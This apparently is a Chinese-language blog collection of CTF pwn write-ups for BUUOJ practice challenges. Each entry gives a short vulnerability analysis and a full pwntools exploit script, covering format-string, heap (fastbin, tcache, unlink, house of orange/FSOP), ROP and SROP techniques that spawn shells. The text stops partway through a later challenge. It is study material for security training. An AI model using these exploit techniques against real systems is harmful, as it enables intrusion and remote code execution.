PS:格式化字符串的数值真的是手动调的…不是经过什么精密计算算出来的,别误会…

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def add(idx):
    conn.recvuntil("your choice?")
    conn.sendline("1")
    conn.recvuntil("idx?")
    conn.sendline(str(idx))

def delete(idx):
    conn.recvuntil("your choice?")
    conn.sendline("3")
    conn.recvuntil("idx?")
    conn.sendline(str(idx))

def edit(idx,payload):
    conn.recvuntil("your choice?")
    conn.sendline("2")
    conn.recvuntil("idx?")
    conn.sendline(str(idx))
    conn.sendline(str(payload))

def get_shell():
    conn.recvuntil("your choice?")
    conn.sendline("6")	

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26247
    conn = remote(HOST ,PORT)
    pause()
    
    main = 0x08048534
    system_plt = 0x80483D0
    fini_array = 0x804979C
    printf_got = 0x804989C

    num1 = main%0x10000
    num2 = ((system_plt%0x10000) + num1 - 0xa68) %0x10000
    num3 = ((system_plt/0x10000) + num2 + num1 - 0x7a0) %0x10000

    payload = "%"+str(num1)+"c%14$hn"		
    payload += "%"+str(num2)+"c%15$hn"	
    payload += "%0"+str(num3)+"c%16$hn"
    payload += p32(fini_array) + p32(printf_got) + p32(printf_got + 2)

    conn.recvuntil("Welcome to my ctf! What's your name?")
    conn.sendline(payload)

    conn.recvuntil("Welcome to my ctf! What's your name?")
    conn.sendline("/bin/sh\x00")

	#pause()
    conn.interactive()

wdb_2018_3rd_soEasy

水中水

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28847
    conn = remote(HOST ,PORT)
    pause()
    
    shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
    conn.recvuntil("Hei,give you a gift->")
    stack_leak = conn.recvuntil("\n",drop=True)
    stack_leak = int(stack_leak,16)
    payload = shellcode.ljust(0x4c,"\x00") + p32(stack_leak)
    conn.sendline(payload)
    conn.interactive()

lctf2016_pwn200

这个题目其实不是很难,但是这种形似堆问题的题目,着实把我绕进去了,其实这是一个栈溢出的题目,和堆没有半毛钱关系,对于2016年来说应该有一定难度了,但是今天的话就是水题。
简单分析一下题目和漏洞成因
第一,在sub_400A8E函数位置可以泄露rbp地址,从而泄露栈地址
在这里插入图片描述

只要写满0x30长度,然后再后面打印的时候就会泄露rbp地址
第二,在sub_400A29函数中存在读越界,能够实现一次任意地址写
在这里插入图片描述

成因很简单,就是因为dest是存放申请堆块的地址的,但是堆buf越界写会篡改dest指针,再结合着strcpy函数就可以实现一次任意地址写的效果了
第三,需要细心的发现,栈空间是有执行权限的!!!
在这里插入图片描述

那我们的解题思路就是,将shellcode写入栈空间,通过任意地址写的效果,窜改函数某个返回地址指向栈空间上的shellcode就行了,结合泄露的rbp地址很容易就实现了!!!

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29849
    conn = remote(HOST ,PORT)
    pause()
    
    #系统生成的64位的shellcode长度正好是0x30
    shellcode = asm(shellcraft.sh())        

    # 泄露栈地址
    conn.recvuntil("who are u?")       
    conn.send("a"*48)
    conn.recvuntil("a"*48)
    stack_leak = conn.recvuntil(",",drop=True)
    stack_leak = u64(stack_leak.ljust(8,"\x00"))

    # 没啥用
    conn.recvuntil("give me your id ~~?")       
    conn.send("1234")

    # 写入shellcode并且篡改返回地址指向shellcode
    conn.recvuntil("give me money~")            
    payload = p64(stack_leak - 0xb8)  + shellcode + p64(stack_leak - 0x18)
    conn.send(payload)

    # 直接退出,触发shellcode
    conn.recvuntil("your choice : ")        
    conn.sendline("3")

    pause()
    conn.interactive()

suctf_2018_stack

做水题真的是愉悦身心呀

    backdoor = 0x400677
    conn.recvuntil("============================")
    conn.send(p64(backdoor)*6)

gyctf_2020_some_thing_interesting

这个题目肯定是大佬口中的简单题目,其实本身就是libc 2.23的fastbin attack,很古老
漏洞点1:格式化字符串泄露libc地址
在这里插入图片描述

这里的a1就是我们在程序最开始输入的字符串,位于sub_B7A函数之中,这里包含了一个逻辑漏洞。
在这里插入图片描述

这里的比较是strncmp函数,只比较0xe长度内容,而read输入长度位0x13,这里就可以多输入内容了,最终造成格式化字符串泄露地址
漏洞点2:就是delete函数中有UAF,modify函数可以篡改堆内容
这个很明显,就可以通过修改fastbin 实现攻击,控制malloc hook实现攻击,最终代码如下:

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def check():
    conn.recvuntil("> Now please tell me what you want to do :")
    conn.sendline("0")	

def Create(size1,content1,size2,content2):
    conn.recvuntil("> Now please tell me what you want to do :")
    conn.sendline("1")
    conn.recvuntil("> O's length :")
    conn.sendline(str(size1))
    conn.recvuntil("> O :")
    conn.sendline(content1)
    conn.recvuntil("> RE's length :")
    conn.sendline(str(size2))
    conn.recvuntil("> RE :")
    conn.sendline(content2)    

def Modify(idx,content1,content2):
    conn.recvuntil("> Now please tell me what you want to do :")
    conn.sendline("2")
    conn.recvuntil("> Oreo ID :")
    conn.sendline(str(idx))
    conn.recvuntil("> O :")
    conn.sendline(content1)
    conn.recvuntil("> RE :")
    conn.sendline(content2)

def Delete(idx):
    conn.recvuntil("> Now please tell me what you want to do :")
    conn.sendline("3")
    conn.recvuntil("> Oreo ID :")
    conn.sendline(str(idx))

def View(idx,number):
    conn.recvuntil("your choice:")
    conn.sendline("5")
    conn.recvuntil("index?")
    conn.sendline(str(idx))
    conn.recvuntil("How much?")
    conn.sendline(str(number))

def hack():
    conn.recvuntil("> Now please tell me what you want to do :")
    conn.sendline("1")
    conn.recvuntil("> O's length :")
    conn.sendline("50")

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26634
    conn = remote(HOST ,PORT)
    pause()
    
    '''漏洞点1:格式化字符串泄露libc地址'''
    conn.recvuntil("> Input your code please:")
    conn.sendline("OreOOrereOOreO%17$p")
    check()    
    conn.recvuntil("OreOOrereOOreO")
    libc_leak = conn.recvuntil("\n",drop=True)
    libc_leak = int(libc_leak,16)
    print hex(libc_leak)

    libc = LibcSearcher("__libc_start_main",libc_leak - 240)
    libc_base = libc_leak -240 - libc.dump("__libc_start_main")
    print "The libc base is",hex(libc_base)

    __malloc_hook = libc_base + libc.dump("__malloc_hook")
    realloc = libc_base + libc.dump("realloc")
    onegadget = libc_base +  0xf1147 #0x4526a  # 0xf02a4  0xf1147
    print "The onegadget is",hex(onegadget)

    '''步骤二:通过fastbin attack 劫持malloc hook实现onegadget'''
    Create(0x30,"1",0x60,"2")
    Delete(1)
    Modify(1,p64(__malloc_hook - 0x23),p64(__malloc_hook - 0x23))
    payload = "A"*0xb +p64(onegadget) + p64(onegadget)
    Create(0x60,payload,0x60,payload)
    hack()

    #pause()
    conn.interactive()

hitcon_2018_children_tcache

这个题目,其实没有那么难,就是一个简单的off-by-null,但是我已经退化到这个都不太会做了…
首先看题目只有createdeleteshow功能,每一次输入内容都是在create中输入,漏洞点在这里(太容易忽视了),所有内容都是通过strcpy复制到堆里的,那么它的截尾赋0机制,就可能造成off-by-null
在这里插入图片描述

然后delete里面没有UAF,但是有一个比较讨厌人的memset

memset((void *)heap[v1], 0xDA, heap_size[v1]);

解题思路其实也很简单

  • 先通过构造2个unsorted bin,利用strcpy漏洞实现off by null合并,申请堆块对其泄露libc基地址
  • 然后利用tcache dup篡改malloc hook成onegadge即可
  • 中间有一个小的细节,就是需要解决free中memset的问题,这个因为memset大小和输入的heap_size有关,所以我们只要控制一下循环处理就行了
# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create(size,content):
    conn.recvuntil("Your choice:")
    conn.sendline("1")
    conn.recvuntil("Size:")
    conn.sendline(str(size))
    conn.recvuntil("Data:")
    conn.sendline(content)

def show(index):
    conn.recvuntil("Your choice:")
    conn.sendline("2")
    conn.recvuntil("Index:")
    conn.sendline(str(index))

def delete(index):
    conn.recvuntil("Your choice:")
    conn.sendline("3")
    conn.recvuntil("Index:")
    conn.sendline(str(index))

def edit(index,content):
    conn.recvuntil("Command:")
    conn.sendline("2")
    conn.recvuntil("Index:")
    conn.sendline(str(index))
    conn.sendline(content)


if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26789
    conn = remote(HOST ,PORT)
    pause()
    
    '''第一步:实现off-by-null'''
    create(0x410,"0")
    create(0x38,"1")        # 这个用来对其nsorted bin,泄露libc
    create(0x38,"2")        # 这个用来备用实现tcache dup
    create(0x38,"3")        # 这个配合实现off-by-null
    create(0x4f0,"4")       # 在这里实现off-by-null
    create(0x38,"5")        # 防止被top chunk合并

    delete(0)
    delete(3)

    create(0x38,"A"*0x38)   # idx为0,实现strcpy覆盖下一个块的pre_inuse
    delete(0)

    for i in range(0,6):    # 循环处理原有块3,处理块4的pre_size高6位为0
        create(0x37-i,"A"*(0x37-i))     #0
        delete(0)

    create(0x38,"A"*0x30+p64(0x4e0))    # 填充块4的低2位为合并大小

    delete(2)       # 这里free,是为了tcache dup劫持
    delete(4)       # 实现off-by-null

    '''第二步:对齐地址,通过原本的1块实现libc的泄露'''
    create(0x410,"test")    

    show(1)
    leak = conn.recvuntil("\n",drop=True)
    leak = u64(leak.ljust(8,"\x00"))
    libc = LibcSearcher("__malloc_hook",leak-96-0x10)
    libc_base = leak - 96 - 0x10 - libc.dump("__malloc_hook")
    print "The libc_base is",hex(libc_base)
    __free_hook = libc_base + libc.dump("__free_hook")
    __malloc_hook = libc_base + libc.dump("__malloc_hook")
    system = libc_base + libc.dump("system")
    realloc = libc_base + libc.dump("realloc")  
    puts = libc_base + libc.dump("puts")
    print "system is ",hex(system)
    print "__free_hook is ",hex(__free_hook)
    onegadget = libc_base + 0x4f322 # 0x10a38c
    
    '''第三步:tcache dup劫持malloc hook'''
    create(0x108,"A"*0x40+p64(__malloc_hook))

    create(0x38,p64(onegadget))
    create(0x38,p64(onegadget))

    conn.recvuntil("Your choice:")
    conn.sendline("1")
    conn.recvuntil("Size:")
    conn.sendline("200")

    #pause()
    conn.interactive()

qctf2018_stack2

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def hack(pos,value):
    conn.recvuntil("5. exit")
    conn.sendline("3")
    conn.recvuntil("which number to change:")	
    conn.sendline(str(pos))
    conn.recvuntil("new number:")
    conn.sendline(str(value))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27531
    conn = remote(HOST ,PORT)
    pause()
    
    backdoor = 0x0804859B
    conn.recvuntil("How many numbers you have:")
    conn.sendline("0")

    for x in range(4):
    	hack(132+x,((backdoor)>>(8*x))&0xff)

    conn.recvuntil("5. exit")
    conn.sendline("5")

    #pause()
    conn.interactive()

数组越界

[BSidesCF 2019]Runit

水题,直接写入shellcode就行

zctf_2016_note3

说来惭愧,这个明明是前几个的延续,但是碰到了还是不会做,这个题目还是延续了无限堆的思路,然后利用unlink攻击就行了,网上题解说还需要注意到,输入的idx可以是-1、-2之类的大的负数,在我的方案中是不需要的,主要得益于unlink攻击不需要fake chunk真正的在空闲链表中,所以heap的指针是得以保留的。
唯一需要学习的一点是,当没有show函数的时候,在ASLR没开的时候可以将free_got替换成puts_plt,就可以泄露libc了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def new_note(size,content):
    conn.recvuntil("option--->>")
    conn.sendline("1")
    conn.recvuntil("Input the length of the note content:(less than 1024)")
    conn.sendline(str(size))
    conn.recvuntil("Input the note content:")
    conn.sendline(content)

def show_note():
    conn.recvuntil("option--->>")
    conn.sendline("2")

def edit_note(index,content):
    conn.recvuntil("option--->>")
    conn.sendline("3")
    conn.recvuntil("Input the id of the note:")
    conn.sendline(str(index))
    conn.recvuntil("Input the new content:")
    conn.sendline(content)

def delete(index):
    conn.recvuntil("option--->>")
    conn.sendline("4")
    conn.recvuntil("Input the id of the note:")
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25700
    conn = remote(HOST ,PORT)
    pause()

    '''第一步:构造fake chunk实现unlink攻击'''    
    puts_plt = 0x400730  
    free_got = 0x602018
    puts_got = 0x602020 

    new_note(0x10,"0")      # 0  为后面无限堆预留位置
    new_note(0x80,"1")      # 1  unlink中准备释放的块
    new_note(0x100,"2")     # 2  unlink中构造fake chunk

    delete(0)   #

    #构造fake chunk
    payload = p64(0)*2
    payload += p64(0) + p64(0xa1) + p64(0)*18  #让fake chunk与heap对其
    payload += p64(0) + p64(0x91) + p64(0x6020d8-0x18) + p64(0x6020d8-0x10) +p64(0)*14  #fake chunk
    payload += p64(0x90) + p64(0x20) + p64(0)*2  # 标记上一个fake chunk是空闲的
    payload += p64(0) + p64(0x51)   #说明上一个chunk是在用的

    new_note(0,payload)  # 通过构造无限堆堆溢出
    delete(1)            # 触发unlink攻击

    '''第二步:此时heap_list[2]指向了heap[0]位置,篡改全局变量泄露libc'''
    payload = p64(0) + p64(free_got) + p64(puts_got)
    edit_note(2,payload[:-1])           # 构造全局变量指向got表
    edit_note(0,p64(puts_plt)[:-1])     # 将free got变为puts plt
    delete(1)
    
    conn.recv()
    leak = conn.recvuntil("\n",drop=True)
    leak = u64(leak.ljust(8,"\x00"))
    print hex(leak)
    libc = LibcSearcher("puts",leak)
    libc_base = leak - libc.dump("puts")
    print "The libc_base is",hex(libc_base)
    __free_hook = libc_base + libc.dump("__free_hook")
    __malloc_hook = libc_base + libc.dump("__malloc_hook")
    system = libc_base + libc.dump("system")
    realloc = libc_base + libc.dump("realloc")  
    puts = libc_base + libc.dump("puts")
    print "system is ",hex(system)
    print "__free_hook is ",hex(__free_hook)

    '''第三步:将free got篡改为system函数getshell'''
    edit_note(0,p64(system)[:-1])
    payload = p64(0) + p64(0x6020d0) + "/bin/sh"
    edit_note(2,payload)
    
    delete(0)
    conn.interactive()

hgame2018_flag_server

在这里插入图片描述

gyctf_2020_document

这个题目没有讲的必要,就是UAF的利用,劫持堆内容后实现任意地址写,篡改__free_hook即可

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add(name,sex,content):
    conn.recvuntil("Give me your choice :")
    conn.sendline("1")
    conn.recvuntil("input name")
    conn.send(name.ljust(8,"\x00"))
    conn.recvuntil("input sex") #W or other
    conn.send(sex)
    conn.recvuntil("input information")
    conn.send(content.ljust(0x70,"\x00"))

def show(index):
    conn.recvuntil("Give me your choice :")
    conn.sendline("2")
    conn.recvuntil("Give me your index :")
    conn.sendline(str(index))

def edit(index,sex,content):
    conn.recvuntil("Give me your choice :")
    conn.sendline("3")
    conn.recvuntil("Give me your index :")
    conn.sendline(str(index))
    conn.recvuntil("Are you sure change sex?")
    conn.send(sex)  # Y or not
    conn.recvuntil("Now change information")
    conn.send(content.ljust(0x70,"\x00"))

def remove(index):
    conn.recvuntil("Give me your choice :")
    conn.sendline("4")
    conn.recvuntil("Give me your index :")
    conn.sendline(str(index))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27500
    conn = remote(HOST ,PORT)
    pause()

    add("/bin/sh\x00","W","0")
    add("/bin/sh\x00","W","1")
    remove(0)
    show(0)

    conn.recv()
    leak = conn.recvuntil("\n",drop=True)
    leak = u64(leak.ljust(8,"\x00"))
    libc = LibcSearcher("__malloc_hook",leak-88-0x10)
    libc_base = leak - 88 - 0x10 - libc.dump("__malloc_hook")
    print "The libc_base is",hex(libc_base)
    __free_hook = libc_base + libc.dump("__free_hook")
    __malloc_hook = libc_base + libc.dump("__malloc_hook")
    system = libc_base + libc.dump("system")
    realloc = libc_base + libc.dump("realloc")  
    puts = libc_base + libc.dump("puts")
    print "system is ",hex(system)
    print "__free_hook is ",hex(__free_hook)

    add("/bin/sh\x00","M","2")
    add("/bin/sh\x00","M","3")
 
    payload = p64(0) + p64(0x21) + p64(__free_hook-0x10) + p64(1)
    edit(0,"Y",payload)
    edit(3,"N",p64(system))
 
    remove(1)

    #pause()
    conn.interactive()

强网杯2019 拟态 STKOF(接触拟态防御)

这里接触到了2019年的拟态防御思想的题目还是非常值得单独记录的。
本题解题思路:利用栈溢出位置的不同,利用32位和64位ret地址不同控制程序流!!!
这里还是在栈空间的布局上找到了32位和64位的差异,32位栈溢出长度位0x110,64位栈溢出长度位0x118,这样就可以在两个位置分别布置add esp/rsp | ret的指令,使得不同位数环境下溢出到不同的位置!!!
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

剩下的就是正常的rop构造,(我自己还踩了坑,想直接用rodata中的sh,这个sh的某个串的部分结尾,事实证明就是不行…)
然后需要注意一下栈溢出前用\x00截断一下

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28124
    conn = remote(HOST ,PORT)
    pause()

    syscall_32 = 0x080495a3
    syscall_64 = 0x4011dc
    add_esp_20_ret = 0x080a69f2
    add_rsp_80_ret = 0x040cd17
    bss_32 = 0x80DA800
    bss_64 = 0x6A3C00

    # 32位所用指令
    pop_eax_ret = 0x080a8af6
    pop_ecx_ebx_ret = 0x0806e9f2
    pop_edx_ret = 0x0806e9cb
    #0x08056a85 : mov dword ptr [edx], eax ; ret
    mov_edx_eax_ret = 0x08056a85

    # 64位所用指令
    pop_rax_ret = 0x43b97c
    pop_rdx_ret = 0x43b9d5
    pop_rdi_ret = 0x4005f6
    pop_rsi_ret = 0x405895
    #0x46aea1 : mov qword ptr [rsi], rax ; ret
    mov_rsi_rax_ret = 0x46aea1

    payload = "A"*0x10f + "\x00"                # 注意这里需要将内容截断,保持输出的一致性
    payload += p32(add_esp_20_ret) + p32(0)
    payload += p64(add_rsp_80_ret)
    payload += p32(0)*5

    #=======rop1======#
    shell_32 = p32(pop_edx_ret) + p32(bss_32)   # 通过特殊指令将/bin/sh写入bss段
    shell_32 += p32(pop_eax_ret) + "/bin"
    shell_32 += p32(mov_edx_eax_ret)
    shell_32 += p32(pop_edx_ret) + p32(bss_32+4)
    shell_32 += p32(pop_eax_ret) + "/sh\x00"

    shell_32 += p32(mov_edx_eax_ret)    
    shell_32 += p32(pop_eax_ret) + p32(11)
    shell_32 += p32(pop_ecx_ebx_ret) + p32(0) + p32(bss_32)
    shell_32 += p32(pop_edx_ret) + p32(0)
    shell_32 += p32(syscall_32)                 # execve("/bin/sh\x00",0,0)
    #=======rop1======#

    payload += shell_32.ljust(0x80-0x14,"\x00")

    #=======rop2======#
    shell_64 = p64(pop_rax_ret) + "/bin/sh\x00" # 通过特殊指令将/bin/sh写入bss段
    shell_64 += p64(pop_rsi_ret) + p64(bss_64)
    shell_64 += p64(mov_rsi_rax_ret)

    shell_64 += p64(pop_rax_ret) + p64(0x3b)
    shell_64 += p64(pop_rdi_ret) + p64(bss_64)
    shell_64 += p64(pop_rsi_ret) + p64(0)
    shell_64 += p64(pop_rdx_ret) + p64(0)
    shell_64 += p64(syscall_64)                 # execve("/bin/sh\x00",0,0)
    #=======rop2======#
    payload += shell_64

    conn.recvuntil("We give you a little challenge, try to pwn it?")
    conn.sendline(payload)

    conn.interactive()

houseoforange_hitcon_2016

(一)题目分析

题目总共的功能比较简单

  • add功能创建了堆,这个堆最大不超过0x1000,还是非常大的。而且注意到,最多add的次数为4次
    在这里插入图片描述

  • upgrade函数,是修改存放name的字符串内容,对原有的长度没有任何检测,很明显是一个堆溢出漏洞。修改最多次数为3次
    在这里插入图片描述

  • show函数,就是正常的打印,没有特别内容。

(二)解题步骤

因为题目中没有free函数,并且我们可以控制的堆范围在0x1000之内,存在堆溢出漏洞,所以具备使用house of orange的条件

  • 步骤一:利用堆溢出漏洞篡改top chunk size,实现house of orange得到unsorted bin
    这一步需要2步add操作,1步upgrade操作
    build_house(0x60,"test1",100,1)             # add 第一次
    payload = p64(0) * 13 + p64(0x21) + p64(0)*3 + p64(0xf51)
    upgrade_house(len(payload),payload,200,2)   # upgrade 第一次
    build_house(0x1000,"orange!",300,3)         # add 第二次

这一步在上面都讲解过了,所以不再赘述,最终的对地址如下。
在这里插入图片描述

  • 步骤二:通过malloc 出large chunk,通过upgrade 和show函数的组合泄露libc和堆地址
    这一点也非常明确,首先是利用了malloc中并不会memset的特性,还有large chunk具备fd_nextsizebk_nextsize,来依次泄露地址
    说明一下,堆地址堆使用FSOP方法是有用的,因为最终我们要将vtable的地址指向我们可以控制的对地址空间。

  • 步骤三:实现unsorted bin attack和FSOP的组合操作
    这个是整个利用的核心步骤,下面要讲为什么这么操作
    第一,利用unsorted bin attack攻击__IO_list_all能够实现什么?
    我们将unsorted bin通过upgrade功能,将bk篡改成__IO_list_all-0x10,这样攻击实现后,就会使得**bck->fd = __IO_list_all = unsorted_chunks (av) = main_arena + 0x88**
    在这里插入图片描述

第二,实现了以后有什么用呢?我们注意到一点,这么做可以使得unsorted bin发生abort,从而调用_IO_flush_all_lockp 函数,我们就具备使用FSOP攻击的其中一个条件了
复习一下,_IO_flush_all_lockp 在libc2.23中条件是:①当 libc 执行 abort 流程时;②当执行 exit 函数时;③当执行流从 main 函数返回时。这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
在这里插入图片描述

int
_IO_flush_all_lockp (int do_lock)
{
  ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
       ...
       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
        ...
  }
}

注意正常的构造_mode=0,_IO_write_ptr=1,_IO_write_base=0,以绕过判断执行overflow

第三,如果考虑到使用FSOP,那么还需要将伪造的fake vtable指向我们可控的地址空间
这里使用的方法是,通过通知unsorted bin 的size,使得unsorted bin 发生unlink的时候修改了main_arena+88 + N位置的地址指向原本的堆地址。
我们知道,64位的_IO_FILE大小为0xd8,_chain指向下一个FILE 结构,如果我们将size改为0x60,那么在main_areana+88+0x60和在main_areana+88+0x68两个位置就指向了我们可以控制的堆地址
在这里插入图片描述

在这里插入图片描述

这个时候 *__IO_list_all + 0x68 = main_arena + 88 + 0x68 = _chain = heap addr

最后,还有个小tips,我们需要将/bin/sh\x00写入到FILE结构首部
以上的四个部分,都要在一步upgradde中实现,因为后面的unsorted bin attack和abort都是一步实现的。

(三)最终代码

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def build_house(size,name,price,color):
    conn.recvuntil("Your choice :")
    conn.sendline("1")
    conn.recvuntil("Length of name :")
    conn.sendline(str(size))
    conn.recvuntil("Name :")
    conn.send(name)
    conn.recvuntil("Price of Orange:")
    conn.sendline(str(price))
    conn.recvuntil("Color of Orange:")
    conn.sendline(str(color))

def see_house():
    conn.recvuntil("Your choice :")
    conn.sendline("2")

def upgrade_house(size,name,price,color):
    conn.recvuntil("Your choice :")
    conn.sendline("3")
    conn.recvuntil("Length of name :")
    conn.sendline(str(size))
    conn.recvuntil("Name:")
    conn.send(name)
    conn.recvuntil("Price of Orange:")
    conn.sendline(str(price))
    conn.recvuntil("Color of Orange:")
    conn.sendline(str(color))

def give_up(index):
    conn.recvuntil("Your choice :")
    conn.sendline("4")

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26043
    conn = remote(HOST ,PORT)
    pause()

    '''步骤一:利用堆溢出漏洞篡改top chunk size,实现house of orange得到unsorted bin'''
    build_house(0x60,"test1",100,1)             # add 第一次
    payload = p64(0) * 13 + p64(0x21) + p64(0)*3 + p64(0xf51)
    upgrade_house(len(payload),payload,200,2)   # upgrade 第一次
    build_house(0x1000,"orange!",300,3)         # add 第二次

    
    '''步骤二:通过malloc 出large chunk,通过upgrade 和show函数的组合泄露libc和堆地址'''
    build_house(0x400,"A"*8,400,4)              # add 第三次 ,建造large chunk
    see_house()
    
    # 泄露libc地址
    conn.recvuntil("Name of house : AAAAAAAA")
    libc_leak = conn.recvuntil("\n",drop=True)
    libc_leak = u64(libc_leak.ljust(8,"\x00"))
    print hex(libc_leak)
    libc = LibcSearcher("__malloc_hook",libc_leak-0x668-0x10)   #这里注意,需要去内存看一下啊
    libc_base = libc_leak - 0x668 - 0x10 - libc.dump("__malloc_hook")
    print "The libc_base is",hex(libc_base)
    __free_hook = libc_base + libc.dump("__free_hook")
    __malloc_hook = libc_base + libc.dump("__malloc_hook")
    system = libc_base + libc.dump("system")
    realloc = libc_base + libc.dump("realloc")  
    puts = libc_base + libc.dump("puts")
    print "The system func is",hex(system)
    print "system is ",hex(system)
    print "__free_hook is ",hex(__free_hook)
    
    # 泄露堆地址
    upgrade_house(0x10,"A"*0x10,200,2)  #2-2
    see_house()
    conn.recvuntil("Name of house : AAAAAAAAAAAAAAAA")
    heap_leak = conn.recvuntil("\n",drop=True)
    heap_leak = u64(heap_leak.ljust(8,"\x00"))
    print "The heap leak is",hex(heap_leak)
    
    '''步骤三:实现unsorted bin attack和FSOP的组合操作'''
    _IO_list_all = libc_base + libc.dump("_IO_list_all")  
    print "The _IO_list_all is ",hex(_IO_list_all)

    payload = p64(0)*129 + p64(0x21) + p64(0)*2 

    # 这里有3点:
    # ① 将/bin/sh写入伪造的FILE头部
    # ② 控制unsorted bin 的size,从而间接控制*_IO_list_all + 0x68 指向heap
    # ③ 控制unsorted bin 的bk实现attack,并且p64(0)必定引发 abort
    fake_file = "/bin/sh\x00" + p64(0x60) + p64(0) + p64(_IO_list_all-0x10)
    
    # _IO_write_ptr=1,_IO_write_base=0,以绕过判断执行overflow
    fake_file += p64(0) + p64(1)

    fake_file = fake_file.ljust(0xd8,"\x00")    
    
    # 控制新的伪造的FILE vtable指向堆空间
    fake_file += p64(heap_leak+0x430+0xe0)  # vtable link

    # __dummy  __dummy2 __finish
    fake_file += p64(0)*3
    fake_file += p64(system)    # __overflow
    payload += fake_file
    upgrade_house(len(payload),payload,300,3) #2-3

    '''触发攻击'''
    conn.recvuntil("Your choice :")
    conn.sendline("1")  
    conn.interactive()

rootersctf_2019_srop(SROP还不熟练!!!)

本来就是一个很简单的SROP,但是自己就是犯蠢,愣是做不出来,题目很简单,我们利用的点就在这个位置
在这里插入图片描述

通过栈溢出加上pop rax实现SROP攻击,但是过程中我自己被这个傻逼问题绕进去了,我寻思为什么rsp都是0了居然还能继续运行???
在这里插入图片描述

特么的实际调用syscall进入了内核态,并不需要利用用户态的栈空间,紧接着leave就会让我们把rsp指向已经布置好的data段中

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26632
    conn = remote(HOST ,PORT)
    pause()

    '''步骤一:通过第一次SROP将栈提前布置到data段中,并且注意到控制rip到syscall,会通过leave转移栈空间'''
    conn.recvuntil("Hey, can i get some feedback for the CTF?")
    pop_rax_syscall_leave_ret = 0x0401032
    syscall_leave_ret = 0x0401033
    data = 0x402100

    payload = "A"*0x80 + p64(0)
    payload += p64(pop_rax_syscall_leave_ret)
    payload += p64(0xf)

    sigframe_1 = SigreturnFrame()
    sigframe_1.rax = constants.SYS_read
    sigframe_1.rdi = 0
    sigframe_1.rsi = data
    sigframe_1.rdx = 0x100
    sigframe_1.rip = syscall_leave_ret
    sigframe_1.rbp = data + 0x8

    payload += str(sigframe_1)
    conn.send(payload)

    '''第二步:getshell这个时候已经转移了栈空间,还是调用一次SROP执行execve函数'''
    pause()
    payload = "/bin/sh\x00" + p64(data+0x10)  
    payload += p64(pop_rax_syscall_leave_ret)
    payload += p64(0xf)    
    sigframe_2 = SigreturnFrame()
    sigframe_2.rax = constants.SYS_execve
    sigframe_2.rdi = data
    sigframe_2.rsi = 0
    sigframe_2.rdx = 0
    sigframe_2.rip = syscall_leave_ret
    sigframe_2.rbp = data   
    payload += str(sigframe_2)

    conn.send(payload)
    conn.interactive()

ciscn_2019_final_5

这个题目真的是为数不多靠自己做出来的题目,真的开心哈哈哈。
简单总结一下,题目中只有new_note,delete_not,edit_note3个功能,但是需要注意地址随机化没有开。这个题目攻击思路是:逻辑漏洞+tcache dup+got表篡改
第一,分析逻辑漏洞
为什么说是逻辑漏洞,因为并不常见。我们需要关注new_note
我们heap队列的大小是16个,问题就在于程序将index号放在了堆地址的最低字节
在这里插入图片描述

那么只要输入的idx为16,并且此时申请的堆地址恰好低2位是\x00\x00,那么就会异或将最终记录的heap地址变成0xXXXXXX10,我们就可以明正言顺的构造overlapping了
在这里插入图片描述

第二,没有leak函数怎么办?
